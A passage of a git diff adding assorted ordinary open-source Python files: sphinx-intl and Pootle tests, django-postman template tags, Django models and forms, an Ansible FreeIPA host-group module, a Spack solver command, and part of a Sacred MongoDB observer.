for details. +""" +import mock + +from sphinx_intl import basic + + +def test_update_simple(temp): + basic.update('locale', '_build/locale', ('ja',)) + + +def test_update_difference_detect(temp): + r1 = basic.update('locale', '_build/locale', ('ja',)) + assert r1 == {'create': 1, 'update': 0, 'notchanged': 0} + + with open('_build/locale/README.pot', 'a') as f: + f.write('\nmsgid "test1"\nmsgstr ""\n') + r2 = basic.update('locale', '_build/locale', ('ja',)) + assert r2 == {'create': 0, 'update': 1, 'notchanged': 0} + + with open('_build/locale/README.pot', 'r') as f: + d = f.read() + d = d.replace('test1', 'test2') + with open('_build/locale/README.pot', 'w') as f: + f.write(d) + r3 = basic.update('locale', '_build/locale', ('ja',)) + assert r3 == {'create': 0, 'update': 1, 'notchanged': 0} + + r4 = basic.update('locale', '_build/locale', ('ja',)) + assert r4 == {'create': 0, 'update': 0, 'notchanged': 1} + + +def test_stat(temp): + r1 = basic.update('locale', '_build/locale', ('ja',)) + r2 = basic.stat('locale', ('ja',)) + assert r2 == {'locale/ja/LC_MESSAGES/README.po': {'translated': 0, 'fuzzy': 0, 'untranslated': 1}} + + +def test_stat_with_multiple_languages(temp): + r1 = basic.update('locale', '_build/locale', ('ja','de','it')) + r2 = basic.stat('locale', ('ja','de','it')) + assert r2 == { + 'locale/ja/LC_MESSAGES/README.po': {'translated': 0, 'fuzzy': 0, 'untranslated': 1}, + 'locale/de/LC_MESSAGES/README.po': {'translated': 0, 'fuzzy': 0, 'untranslated': 1}, + 'locale/it/LC_MESSAGES/README.po': {'translated': 0, 'fuzzy': 0, 'untranslated': 1}, + } + + +@mock.patch('sphinx_intl.catalog.write_mo') +@mock.patch('sphinx_intl.catalog.load_po') +def test_build(load_po, write_mo, temp): + basic.update('locale', '_build/locale', ('ja',)) + basic.build('locale', 'locale', ('ja',)) + assert load_po.call_args[0][0].startswith('locale') + assert load_po.call_args[0][0].endswith('README.po') + assert write_mo.call_args[0][0].startswith('locale') + assert write_mo.call_args[0][0].endswith('README.mo') + + +@mock.patch('sphinx_intl.catalog.write_mo') +@mock.patch('sphinx_intl.catalog.load_po') +def test_build_mo_on_another_location(load_po, write_mo, temp): + basic.update('locale', '_build/locale', ('ja',)) + basic.build('locale', 'mo_dir', ('ja',)) + assert load_po.call_args[0][0].startswith('locale') + assert load_po.call_args[0][0].endswith('README.po') + assert write_mo.call_args[0][0].startswith('mo_dir') + assert write_mo.call_args[0][0].endswith('README.mo') diff --git a/pool/shard009/Python/0082953_postman_tags.py b/pool/shard009/Python/0082953_postman_tags.py new file mode 100644 index 0000000000000000000000000000000000000000..1e15c377212ff42219ab33518f44d77ac357eb19 --- /dev/null +++ b/pool/shard009/Python/0082953_postman_tags.py @@ -0,0 +1,191 @@ +from __future__ import unicode_literals +import datetime + +from django import VERSION + +try: + from django.contrib.auth import get_user_model # Django 1.5 +except ImportError: + from postman.future_1_5 import get_user_model +from django.http import QueryDict +from django.template import Node +from django.template import TemplateSyntaxError +from django.template import Library +from django.template.defaultfilters import date +from django.utils.translation import ugettext_lazy as _ + +from postman.models import ( + ORDER_BY_KEY, + ORDER_BY_MAPPER, + Message, + get_user_representation, +) + +register = Library() + + +########## +# filters +########## +@register.filter +def sub(value, arg): + """Subtract the arg from the value.""" + try: + return int(value) - int(arg) + except (ValueError, TypeError): + return value + + +sub.is_safe = True + + +@register.filter +def or_me(value, arg): + """ + Replace the value by a fixed pattern, if it equals the argument. + + Typical usage: message.obfuscated_sender|or_me:user + + """ + user_model = get_user_model() + if not isinstance(value, (unicode, str)): + value = (get_user_representation if isinstance(value, user_model) else unicode)( + value + ) + if not isinstance(arg, (unicode, str)): + arg = (get_user_representation if isinstance(arg, user_model) else unicode)(arg) + return _("") if value == arg else value + + +@register.filter( + **({"expects_localtime": True, "is_safe": False} if VERSION >= (1, 4) else {}) +) +def compact_date(value, arg): + """ + Output a date as short as possible. + + The argument must provide 3 patterns: for same day, for same year, otherwise + Typical usage: |compact_date:_("G:i,j b,j/n/y") + + """ + bits = arg.split(",") + if len(bits) < 3: + return value # Invalid arg. + today = datetime.date.today() + return date( + value, + bits[0] + if value.date() == today + else bits[1] + if value.year == today.year + else bits[2], + ) + + +####### +# tags +####### +class OrderByNode(Node): + "For use in the postman_order_by tag" + + def __init__(self, code): + self.code = code + + def render(self, context): + """ + Return a formatted GET query string, as "?order_key=order_val". + + Preserves existing GET's keys, if any, such as a page number. + For that, the view has to provide request.GET in a 'gets' entry of the context. + + """ + if "gets" in context: + gets = context["gets"].copy() + else: + gets = QueryDict("").copy() + if ORDER_BY_KEY in gets: + code = gets.pop(ORDER_BY_KEY)[0] + else: + code = None + if self.code: + gets[ORDER_BY_KEY] = self.code if self.code != code else self.code.upper() + return "?" + gets.urlencode() if gets else "" + + +class InboxCountNode(Node): + "For use in the postman_unread tag" + + def __init__(self, asvar=None): + self.asvar = asvar + + def render(self, context): + """ + Return the count of unread messages for the user found in context, + (may be 0) or an empty string. + """ + try: + user = context["user"] + if user.is_anonymous(): + count = "" + else: + count = Message.objects.inbox_unread_count(user) + except (KeyError, AttributeError): + count = "" + if self.asvar: + context[self.asvar] = count + return "" + return count + + +@register.tag +def postman_order_by(parser, token): + """ + Compose a query string to ask for a specific ordering in messages list. + + The unique argument must be one of the keywords of a set defined in the model. + Example:: + + ... + """ + try: + tag_name, field_name = token.split_contents() + field_code = ORDER_BY_MAPPER[field_name.lower()] + except ValueError: + raise TemplateSyntaxError( + "'{0}' tag requires a single argument".format(token.contents.split()[0]) + ) + except KeyError: + raise TemplateSyntaxError( + "'{0}' is not a valid argument to '{1}' tag." + " Must be one of: {2}".format(field_name, tag_name, ORDER_BY_MAPPER.keys()) + ) + return OrderByNode(field_code) + + +@register.tag +def postman_unread(parser, token): + """ + Give the number of unread messages for a user, + or nothing (an empty string) for an anonymous user. + + Storing the count in a variable for further processing is advised, such as:: + + {% postman_unread as unread_count %} + ... + {% if unread_count %} + You have {{ unread_count }} unread messages. + {% endif %} + """ + bits = token.split_contents() + if len(bits) > 1: + if len(bits) != 3: + raise TemplateSyntaxError( + "'{0}' tag takes no argument or exactly two arguments".format(bits[0]) + ) + if bits[1] != "as": + raise TemplateSyntaxError( + "First argument to '{0}' tag must be 'as'".format(bits[0]) + ) + return InboxCountNode(bits[2]) + else: + return InboxCountNode() diff --git a/pool/shard009/Python/0082956_test_toggle.py b/pool/shard009/Python/0082956_test_toggle.py new file mode 100644 index 0000000000000000000000000000000000000000..c008c59791240654b6fb79ea0c19f15d2a571b78 --- /dev/null +++ b/pool/shard009/Python/0082956_test_toggle.py @@ -0,0 +1,51 @@ +from collections import defaultdict +import uuid +from django.test import SimpleTestCase +from corehq.toggles import deterministic_random + + +class DeterministicRandomTestCase(SimpleTestCase): + + def _random_string(self): + return uuid.uuid4().hex + + def _random_strings(self, count): + return [self._random_string() for i in range(count)] + + def test_random_strings(self): + seen = set() + for rand in self._random_strings(100): + self.assertTrue(rand not in seen) + seen.add(rand) + self.assertEqual(100, len(seen)) + + def test_consistency(self): + seen = set() + for seed in self._random_strings(100): + converted_rand = deterministic_random(seed) + self.assertTrue(0 <= converted_rand < 1) + self.assertEqual(converted_rand, deterministic_random(seed)) + self.assertTrue(converted_rand not in seen) + seen.add(converted_rand) + + def test_unicode(self): + unicode_string = 'टूटना{}'.format(self._random_string()) + value = deterministic_random(unicode_string) + self.assertEqual(value, deterministic_random(unicode_string)) + + def test_randomness(self): + buckets = defaultdict(lambda: 0) + for i in range(10000): + # use similar looking strings to make sure randomness is in the called function. + # note that this also makes this (statistically-determined) test deterministic which is nice + seed = 'test-string-{}'.format(i) + converted_rand = deterministic_random(seed) + self.assertTrue(0 <= converted_rand < 1) + first_decimal = int("{:.1f}".format(converted_rand)[-1]) + buckets[first_decimal] += 1 + + self.assertEqual(10, len(buckets)) + for i in range(10): + # we expect about 1000 in each bucket and the sample is big enough that + # these constraints are fine. + self.assertTrue(900 < buckets[i] < 1100) diff --git a/pool/shard009/Python/0082958_membership_log.py b/pool/shard009/Python/0082958_membership_log.py new file mode 100644 index 0000000000000000000000000000000000000000..d5e2206e860e71b4092df9d4dc6df45fa3f52ddd --- /dev/null +++ b/pool/shard009/Python/0082958_membership_log.py @@ -0,0 +1,52 @@ +######################################################################### +# +# Astronomy Club Membership +# file: membership/membership_log.py +# +# Copyright (C) 2017 Teruo Utsumi, San Jose Astronomical Association +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# Contributors: +# 2017-06-01 Teruo Utsumi, initial code +# +######################################################################### + +import pdb +import logging +import logging.handlers + +FILENAME_LOG = 'membership.log' +current_user = 'sam' + +class ContextFilter(logging.Filter): + """ + this is a filter which injects contextual information into the log. + """ + + def filter(self, record): + record.user = current_user + return True + +def setup_log(): + handler = logging.handlers.RotatingFileHandler(FILENAME_LOG, maxBytes=2**20, backupCount=5) + formatter = logging.Formatter('%(levelname)-7s %(asctime)s %(message)s', '%Y-%m-%d %H:%M:%S') + handler.setFormatter(formatter) + membership_log = logging.getLogger('Membership logger') + membership_log.setLevel(logging.INFO) + logging.basicConfig(level=logging.INFO) + membership_log.addHandler(handler) + return membership_log + +membership_log = setup_log() + +# in files +# from membership_log import * diff --git a/pool/shard009/Python/0082959_models.py b/pool/shard009/Python/0082959_models.py new file mode 100644 index 0000000000000000000000000000000000000000..03ca1f82d23ece73a3e6fcb18b4b4b44d74d08d8 --- /dev/null +++ b/pool/shard009/Python/0082959_models.py @@ -0,0 +1,63 @@ +from django.db import models +from hashlib import sha512 + +import uuid,os + +from thumbs import ImageWithThumbsField + +from django.conf import settings + +def photo_hash(instance,filename): + path = 'photos/' + ext = filename.split('.')[-1] + filename = "%s.%s" % ( uuid.uuid4(), ext ) + + return os.path.join( path, filename ) + +class Genitalia(models.Model): + name = models.CharField(max_length=128, blank=True) + meta = models.TextField(blank=True) + updated_at = models.DateTimeField(auto_now=True) + created_at = models.DateTimeField(auto_now_add=True) + + image = ImageWithThumbsField(upload_to=photo_hash, sizes=settings.THUMBS_SIZE ) + hash = models.CharField(max_length=255, editable=False,unique=False) + approved = models.BooleanField(default=False) + + class Meta: + db_table = 'perseguida_perseguida' + + def as_thumb(self): + return u"" % getattr(self.image,'url_150x225') + + as_thumb.short_description = 'Thumbnail' + as_thumb.allow_tags = True + as_thumb.admin_order_field = 'admin_thumbnail' + + + def as_link(self): + return u'%s' % (self.image.url , self.image) + + as_link.short_description = "PHOTO URL" + as_link.allow_tags = True + + def get_hash(self): + """ Generate hash of the image """ + # Force a seek to avoid empty read() + self.image.seek(0) + + h = sha512() + h.update(self.image.read()) + self.hash = h.hexdigest() + + return self.hash + + def save(self, *args, **kwargs): + self.get_hash() + return super(Genitalia, self).save(self,*args,**kwargs) + + def __unicode__(self): + if not self.name: + return '%s' % (self.image.name) + else: + return '%s - %s' % (self.name, self.image.name ) diff --git a/pool/shard009/Python/0082970_forms.py b/pool/shard009/Python/0082970_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..836ff5699a93de1474b5a522858432413c95b31c --- /dev/null +++ b/pool/shard009/Python/0082970_forms.py @@ -0,0 +1,61 @@ +# -*- coding: utf-8 -*- +from __future__ import absolute_import, unicode_literals + +from django import forms + +from .models import User + + +class UserForm(forms.ModelForm): + + class Meta: + # Set this form to use the User model. + model = User + # Constrain the UserForm to just these fields. + fields = ("first_name", "last_name") + +class UsuarioForm(forms.ModelForm): + password1 = forms.CharField(label="Password", widget=forms.PasswordInput) + password2 = forms.CharField(label="Password", widget=forms.PasswordInput, help_text="Introduce el password") + email = forms.EmailField(label="Correo electrónico", widget=forms.EmailInput, required=False) + + def clean_password2(self): + password1 = self.cleaned_data.get("password1") + password2 = self.cleaned_data.get("password2") + if password1 and password2 and password1 != password2: + raise forms.ValidationError("Los passwords no coinciden") + return password2 + + class Meta: + # Set this form to use the User model. + model = User + # Constrain the UserForm to just these fields. + fields = ("username", "email", "password1", "password2", "perfil") + +class Usuario_editarForm(forms.ModelForm): + email = forms.EmailField(label="Correo electrónico", widget=forms.EmailInput, required=False) + + class Meta: + # Set this form to use the User model. + model = User + # Constrain the UserForm to just these fields. + fields = ("username", "email", "perfil") + +class PasswordForm(forms.ModelForm): + password1 = forms.CharField(label="Password", widget=forms.PasswordInput) + password2 = forms.CharField(label="Password", widget=forms.PasswordInput, help_text="Introduce el password") + + def clean_password2(self): + password1 = self.cleaned_data.get("password1") + password2 = self.cleaned_data.get("password2") + if password1 and password2 and password1 != password2: + raise forms.ValidationError("Los passwords no coinciden") + return password2 + + class Meta: + # Set this form to use the User model. + model = User + # Constrain the UserForm to just these fields. + fields = ("password1", "password2") + + diff --git a/pool/shard009/Python/0082971_ipa_hostgroup.py b/pool/shard009/Python/0082971_ipa_hostgroup.py new file mode 100644 index 0000000000000000000000000000000000000000..276b5266920a70af5e7bf2bc8f620ad7f2a5d081 --- /dev/null +++ b/pool/shard009/Python/0082971_ipa_hostgroup.py @@ -0,0 +1,251 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . + +ANSIBLE_METADATA = {'metadata_version': '1.0', + 'status': ['preview'], + 'supported_by': 'community'} + + +DOCUMENTATION = ''' +--- +module: ipa_hostgroup +author: Thomas Krahn (@Nosmoht) +short_description: Manage FreeIPA host-group +description: +- Add, modify and delete an IPA host-group using IPA API +options: + cn: + description: + - Name of host-group. + - Can not be changed as it is the unique identifier. + required: true + aliases: ["name"] + description: + description: + - Description + required: false + host: + description: + - List of hosts that belong to the host-group. + - If an empty list is passed all hosts will be removed from the group. + - If option is omitted hosts will not be checked or changed. + - If option is passed all assigned hosts that are not passed will be unassigned from the group. + required: false + hostgroup: + description: + - List of host-groups than belong to that host-group. + - If an empty list is passed all host-groups will be removed from the group. + - If option is omitted host-groups will not be checked or changed. + - If option is passed all assigned hostgroups that are not passed will be unassigned from the group. + required: false + state: + description: + - State to ensure. + required: false + default: "present" + choices: ["present", "absent"] + ipa_port: + description: Port of IPA server + required: false + default: 443 + ipa_host: + description: IP or hostname of IPA server + required: false + default: "ipa.example.com" + ipa_user: + description: Administrative account used on IPA server + required: false + default: "admin" + ipa_pass: + description: Password of administrative user + required: true + ipa_prot: + description: Protocol used by IPA server + required: false + default: "https" + choices: ["http", "https"] + validate_certs: + description: + - This only applies if C(ipa_prot) is I(https). + - If set to C(no), the SSL certificates will not be validated. + - This should only set to C(no) used on personally controlled sites using self-signed certificates. + required: false + default: true +version_added: "2.3" +''' + +EXAMPLES = ''' +# Ensure host-group databases is present +- ipa_hostgroup: + name: databases + state: present + host: + - db.example.com + hostgroup: + - mysql-server + - oracle-server + ipa_host: ipa.example.com + ipa_user: admin + ipa_pass: topsecret + +# Ensure host-group databases is absent +- ipa_hostgroup: + name: databases + state: absent + ipa_host: ipa.example.com + ipa_user: admin + ipa_pass: topsecret +''' + +RETURN = ''' +hostgroup: + description: Hostgroup as returned by IPA API. + returned: always + type: dict +''' + +from ansible.module_utils.basic import AnsibleModule +from ansible.module_utils.pycompat24 import get_exception +from ansible.module_utils.ipa import IPAClient + + +class HostGroupIPAClient(IPAClient): + def __init__(self, module, host, port, protocol): + super(HostGroupIPAClient, self).__init__(module, host, port, protocol) + + def hostgroup_find(self, name): + return self._post_json(method='hostgroup_find', name=None, item={'all': True, 'cn': name}) + + def hostgroup_add(self, name, item): + return self._post_json(method='hostgroup_add', name=name, item=item) + + def hostgroup_mod(self, name, item): + return self._post_json(method='hostgroup_mod', name=name, item=item) + + def hostgroup_del(self, name): + return self._post_json(method='hostgroup_del', name=name) + + def hostgroup_add_member(self, name, item): + return self._post_json(method='hostgroup_add_member', name=name, item=item) + + def hostgroup_add_host(self, name, item): + return self.hostgroup_add_member(name=name, item={'host': item}) + + def hostgroup_add_hostgroup(self, name, item): + return self.hostgroup_add_member(name=name, item={'hostgroup': item}) + + def hostgroup_remove_member(self, name, item): + return self._post_json(method='hostgroup_remove_member', name=name, item=item) + + def hostgroup_remove_host(self, name, item): + return self.hostgroup_remove_member(name=name, item={'host': item}) + + def hostgroup_remove_hostgroup(self, name, item): + return self.hostgroup_remove_member(name=name, item={'hostgroup': item}) + + +def get_hostgroup_dict(description=None): + data = {} + if description is not None: + data['description'] = description + return data + + +def get_hostgroup_diff(client, ipa_hostgroup, module_hostgroup): + return client.get_diff(ipa_data=ipa_hostgroup, module_data=module_hostgroup) + + +def ensure(module, client): + name = module.params['name'] + state = module.params['state'] + host = module.params['host'] + hostgroup = module.params['hostgroup'] + + ipa_hostgroup = client.hostgroup_find(name=name) + module_hostgroup = get_hostgroup_dict(description=module.params['description']) + + changed = False + if state == 'present': + if not ipa_hostgroup: + changed = True + if not module.check_mode: + ipa_hostgroup = client.hostgroup_add(name=name, item=module_hostgroup) + else: + diff = get_hostgroup_diff(client, ipa_hostgroup, module_hostgroup) + if len(diff) > 0: + changed = True + if not module.check_mode: + data = {} + for key in diff: + data[key] = module_hostgroup.get(key) + client.hostgroup_mod(name=name, item=data) + + if host is not None: + changed = client.modify_if_diff(name, ipa_hostgroup.get('member_host', []), [item.lower() for item in host], + client.hostgroup_add_host, client.hostgroup_remove_host) or changed + + if hostgroup is not None: + changed = client.modify_if_diff(name, ipa_hostgroup.get('member_hostgroup', []), + [item.lower() for item in hostgroup], + client.hostgroup_add_hostgroup, + client.hostgroup_remove_hostgroup) or changed + + else: + if ipa_hostgroup: + changed = True + if not module.check_mode: + client.hostgroup_del(name=name) + + return changed, client.hostgroup_find(name=name) + + +def main(): + module = AnsibleModule( + argument_spec=dict( + cn=dict(type='str', required=True, aliases=['name']), + description=dict(type='str', required=False), + host=dict(type='list', required=False), + hostgroup=dict(type='list', required=False), + state=dict(type='str', required=False, default='present', + choices=['present', 'absent', 'enabled', 'disabled']), + ipa_prot=dict(type='str', required=False, default='https', choices=['http', 'https']), + ipa_host=dict(type='str', required=False, default='ipa.example.com'), + ipa_port=dict(type='int', required=False, default=443), + ipa_user=dict(type='str', required=False, default='admin'), + ipa_pass=dict(type='str', required=True, no_log=True), + validate_certs=dict(type='bool', required=False, default=True), + ), + supports_check_mode=True, + ) + + client = HostGroupIPAClient(module=module, + host=module.params['ipa_host'], + port=module.params['ipa_port'], + protocol=module.params['ipa_prot']) + + try: + client.login(username=module.params['ipa_user'], + password=module.params['ipa_pass']) + changed, hostgroup = ensure(module, client) + module.exit_json(changed=changed, hostgroup=hostgroup) + except Exception: + e = get_exception() + module.fail_json(msg=str(e)) + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0082973_language.py b/pool/shard009/Python/0082973_language.py new file mode 100644 index 0000000000000000000000000000000000000000..3317a48e0aa1ee36afcda466e91a873232feed1e --- /dev/null +++ b/pool/shard009/Python/0082973_language.py @@ -0,0 +1,141 @@ +# -*- coding: utf-8 -*- +# +# Copyright (C) Pootle contributors. +# +# This file is a part of the Pootle project. It is distributed under the GPL3 +# or later license. See the LICENSE file for a copy of the license and the +# AUTHORS file for copyright and authorship information. + +from itertools import groupby +import json +from urllib import unquote + +import pytest + +from pytest_pootle.suite import view_context_test + +from django.contrib.auth import get_user_model + +from pootle_app.models.permissions import check_permission +from pootle.core.browser import make_project_item, get_table_headings +from pootle.core.delegate import search_backend +from pootle.core.helpers import ( + SIDEBAR_COOKIE_NAME, + get_filter_name, get_sidebar_announcements_context) +from pootle.core.url_helpers import get_previous_url +from pootle.core.utils.stats import get_translation_states +from pootle_misc.checks import get_qualitycheck_schema +from pootle_misc.forms import make_search_form +from pootle_store.forms import UnitExportForm +from pootle_store.models import Unit + + +def _test_browse_view(language, request, response, kwargs): + assert ( + response.cookies["pootle-language"].value == language.code) + cookie_data = json.loads( + unquote(response.cookies[SIDEBAR_COOKIE_NAME].value)) + assert cookie_data["foo"] == "bar" + assert "announcements_%s" % language.code in cookie_data + ctx = response.context + table_fields = [ + 'name', 'progress', 'total', 'need-translation', + 'suggestions', 'critical', 'last-updated', 'activity'] + user_tps = language.get_children_for_user(request.user) + items = [make_project_item(tp) for tp in user_tps] + table = { + 'id': 'language', + 'fields': table_fields, + 'headings': get_table_headings(table_fields), + 'items': items} + assertions = dict( + page="browse", + object=language, + language={ + 'code': language.code, + 'name': language.name}, + browser_extends="languages/base.html", + pootle_path="/%s/" % language.code, + resource_path="", + resource_path_parts=[], + url_action_continue=language.get_translate_url(state='incomplete'), + url_action_fixcritical=language.get_critical_url(), + url_action_review=language.get_translate_url(state='suggestions'), + url_action_view_all=language.get_translate_url(state='all'), + # check_categories=get_qualitycheck_schema(language), + table=table, + translation_states=get_translation_states(language), + top_scorers=get_user_model().top_scorers(language=language.code, limit=10), + stats=language.get_stats_for_user(request.user), + ) + sidebar = get_sidebar_announcements_context( + request, (language, )) + for k in ["has_sidebar", "is_sidebar_open", "announcements"]: + assertions[k] = sidebar[0][k] + view_context_test(ctx, **assertions) + + +def _test_translate_view(language, request, response, kwargs, settings): + ctx = response.context + view_context_test( + ctx, + **dict( + project=None, + language=language, + page="translate", + ctx_path=language.directory.pootle_path, + pootle_path=language.directory.pootle_path, + resource_path="", + resource_path_parts=[], + editor_extends="languages/base.html", + check_categories=get_qualitycheck_schema(), + previous_url=get_previous_url(request), + display_priority=False, + has_admin_access=check_permission('administrate', request), + cantranslate=check_permission("translate", request), + cansuggest=check_permission("suggest", request), + canreview=check_permission("review", request), + search_form=make_search_form(request=request), + current_vfolder_pk="", + POOTLE_MT_BACKENDS=settings.POOTLE_MT_BACKENDS, + AMAGAMA_URL=settings.AMAGAMA_URL)) + + +def _test_export_view(language, request, response, kwargs): + # TODO: export views should be parsed in a form + ctx = response.context + filter_name, filter_extra = get_filter_name(request.GET) + form_data = request.GET.copy() + form_data["path"] = request.path.replace("export-view/", "") + search_form = UnitExportForm( + form_data, user=request.user) + assert search_form.is_valid() + total, start, end, units_qs = search_backend.get(Unit)( + request.user, **search_form.cleaned_data).search() + units_qs = units_qs.select_related('store') + unit_groups = [ + (path, list(units)) + for path, units + in groupby( + units_qs, + lambda x: x.store.pootle_path)] + view_context_test( + ctx, + **dict( + project=None, + language=language, + source_language="en", + filter_name=filter_name, + filter_extra=filter_extra, + unit_groups=unit_groups)) + + +@pytest.mark.django_db +def test_views_language(language_views, settings): + test_type, language, request, response, kwargs = language_views + if test_type == "browse": + _test_browse_view(language, request, response, kwargs) + if test_type == "translate": + _test_translate_view(language, request, response, kwargs, settings) + elif test_type == "export": + _test_export_view(language, request, response, kwargs) diff --git a/pool/shard009/Python/0082974_solve.py b/pool/shard009/Python/0082974_solve.py new file mode 100644 index 0000000000000000000000000000000000000000..ff6ab4e6763c3607e362c732b537e09f7c6d39cd --- /dev/null +++ b/pool/shard009/Python/0082974_solve.py @@ -0,0 +1,138 @@ +# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other +# Spack Project Developers. See the top-level COPYRIGHT file for details. +# +# SPDX-License-Identifier: (Apache-2.0 OR MIT) + +from __future__ import print_function + +import argparse +import re +import sys + +import llnl.util.tty as tty + +import spack +import spack.cmd +import spack.cmd.common.arguments as arguments +import spack.hash_types as ht +import spack.package +import spack.solver.asp as asp + +description = "concretize a specs using an ASP solver" +section = 'developer' +level = 'long' + +#: output options +show_options = ('asp', 'output', 'solutions') + + +def setup_parser(subparser): + # Solver arguments + subparser.add_argument( + '--show', action='store', default=('solutions'), + help="outputs: a list with any of: " + "%s (default), all" % ', '.join(show_options)) + subparser.add_argument( + '--models', action='store', type=int, default=0, + help="number of solutions to search (default 0 for all)") + + # Below are arguments w.r.t. spec display (like spack spec) + arguments.add_common_arguments( + subparser, ['long', 'very_long', 'install_status']) + subparser.add_argument( + '-y', '--yaml', action='store_const', dest='format', default=None, + const='yaml', help='print concrete spec as YAML') + subparser.add_argument( + '-j', '--json', action='store_const', dest='format', default=None, + const='json', help='print concrete spec as YAML') + subparser.add_argument( + '-c', '--cover', action='store', + default='nodes', choices=['nodes', 'edges', 'paths'], + help='how extensively to traverse the DAG (default: nodes)') + subparser.add_argument( + '-N', '--namespaces', action='store_true', default=False, + help='show fully qualified package names') + subparser.add_argument( + '-t', '--types', action='store_true', default=False, + help='show dependency types') + subparser.add_argument( + '--timers', action='store_true', default=False, + help='print out timers for different solve phases') + subparser.add_argument( + '--stats', action='store_true', default=False, + help='print out statistics from clingo') + subparser.add_argument( + 'specs', nargs=argparse.REMAINDER, help="specs of packages") + + +def solve(parser, args): + # these are the same options as `spack spec` + name_fmt = '{namespace}.{name}' if args.namespaces else '{name}' + fmt = '{@version}{%compiler}{compiler_flags}{variants}{arch=architecture}' + install_status_fn = spack.spec.Spec.install_status + kwargs = { + 'cover': args.cover, + 'format': name_fmt + fmt, + 'hashlen': None if args.very_long else 7, + 'show_types': args.types, + 'status_fn': install_status_fn if args.install_status else None, + 'hashes': args.long or args.very_long + } + + # process dump options + dump = re.split(r'\s*,\s*', args.show) + if 'all' in dump: + dump = show_options + for d in dump: + if d not in show_options: + raise ValueError( + "Invalid option for '--show': '%s'\nchoose from: (%s)" + % (d, ', '.join(show_options + ('all',)))) + + models = args.models + if models < 0: + tty.die("model count must be non-negative: %d") + + specs = spack.cmd.parse_specs(args.specs) + + # dump generated ASP program + result = asp.solve( + specs, dump=dump, models=models, timers=args.timers, stats=args.stats + ) + if 'solutions' not in dump: + return + + # die if no solution was found + # TODO: we need to be able to provide better error messages than this + if not result.satisfiable: + result.print_cores() + tty.die("Unsatisfiable spec.") + + # dump the solutions as concretized specs + if 'solutions' in dump: + best = min(result.answers) + + opt, _, answer = best + if not args.format: + tty.msg("Best of %d answers." % result.nmodels) + tty.msg("Optimization: %s" % opt) + + # iterate over roots from command line + for input_spec in specs: + key = input_spec.name + if input_spec.virtual: + providers = [spec.name for spec in answer.values() + if spec.package.provides(key)] + key = providers[0] + + spec = answer[key] + + # With -y, just print YAML to output. + if args.format == 'yaml': + # use write because to_yaml already has a newline. + sys.stdout.write(spec.to_yaml(hash=ht.build_hash)) + elif args.format == 'json': + sys.stdout.write(spec.to_json(hash=ht.build_hash)) + else: + sys.stdout.write( + spec.tree(color=sys.stdout.isatty(), **kwargs)) diff --git a/pool/shard009/Python/0082975_mongo.py b/pool/shard009/Python/0082975_mongo.py new file mode 100644 index 0000000000000000000000000000000000000000..89d3842dfb1f07bb759cfd8c89fa635a0bfea592 --- /dev/null +++ b/pool/shard009/Python/0082975_mongo.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python +# coding=utf-8 +from __future__ import division, print_function, unicode_literals + +import os.path +import pickle +import sys +import time + +import bson +import gridfs +import pymongo +import sacred.optional as opt +from pymongo.errors import AutoReconnect, InvalidDocument +from pymongo.son_manipulator import SONManipulator +from sacred.dependencies import get_digest +from sacred.observers.base import RunObserver +from sacred.utils import ObserverError + +SON_MANIPULATORS = [] + + +class PickleNumpyArrays(SONManipulator): + + """Make sure numpy arrays get pickled and stored as binary strings.""" + + def transform_incoming(self, son, collection): + for (key, value) in son.items(): + if isinstance(value, opt.np.ndarray): + son[key] = { + "_type": "ndarray", + "_value": bson.Binary(pickle.dumps(value, protocol=2)) + } + elif isinstance(value, dict): + # Make sure we recurse into sub-docs + son[key] = self.transform_incoming(value, collection) + return son + + def transform_outgoing(self, son, collection): + for (key, value) in son.items(): + if isinstance(value, dict): + if "_type" in value and value["_type"] == "ndarray": + son[key] = pickle.loads(str(value["_value"])) + else: # Again, make sure to recurse into sub-docs + son[key] = self.transform_outgoing(value, + collection) + return son + + +if opt.has_numpy: + SON_MANIPULATORS.append(PickleNumpyArrays()) + + +def force_valid_bson_key(key): + key = str(key) + if key.startswith('$'): + key = '@' + key[1:] + key = key.replace('.', ',') + return key + + +def force_bson_encodeable(obj): + if isinstance(obj, dict): + try: + bson.BSON.encode(obj, check_keys=True) + return obj + except bson.InvalidDocument: + return {force_valid_bson_key(k): force_bson_encodeable(v) + for k, v in obj.items()} + + elif opt.has_numpy and isinstance(obj, opt.np.ndarray): + return obj + else: + try: + bson.BSON.encode({'dict_just_for_testing': obj}) + return obj + except bson.InvalidDocument: + return str(obj) + + +class MongoObserver(RunObserver): + @staticmethod + def create(url='localhost', db_name='sacred', prefix='default', **kwargs): + client = pymongo.MongoClient(url, **kwargs) + database = client[db_name] + for manipulator in SON_MANIPULATORS: + database.add_son_manipulator(manipulator) + runs_collection = database[prefix + '.runs'] + fs = gridfs.GridFS(database, collection=prefix) + return MongoObserver(runs_collection, fs) + + def __init__(self, runs_collection, fs): + self.runs = runs_collection + self.fs = fs + self.run_entry = None + + def save(self): + try: + self.runs.save(self.run_entry) + except AutoReconnect: + pass # just wait for the next save + except InvalidDocument: + raise ObserverError('Run contained an unserializable entry.' + '(most likely in the info)') + + def final_save(self, attempts=10): + for i in range(attempts): + try: + self.runs.save(self.run_entry) + return + except AutoReconnect: + if i < attempts - 1: + time.sleep(1) + except InvalidDocument: + self.run_entry = force_bson_encodeable(self.run_entry) + print("Warning: Some of the entries of the run were not " + "BSON-serializable!\n They have been altered such that " + "they can be stored, but you should fix your experiment!" + "Most likely it is either the 'info' or the 'result'.", + file=sys.stderr) + + from tempfile import NamedTemporaryFile + with NamedTemporaryFile(suffix='.pickle', 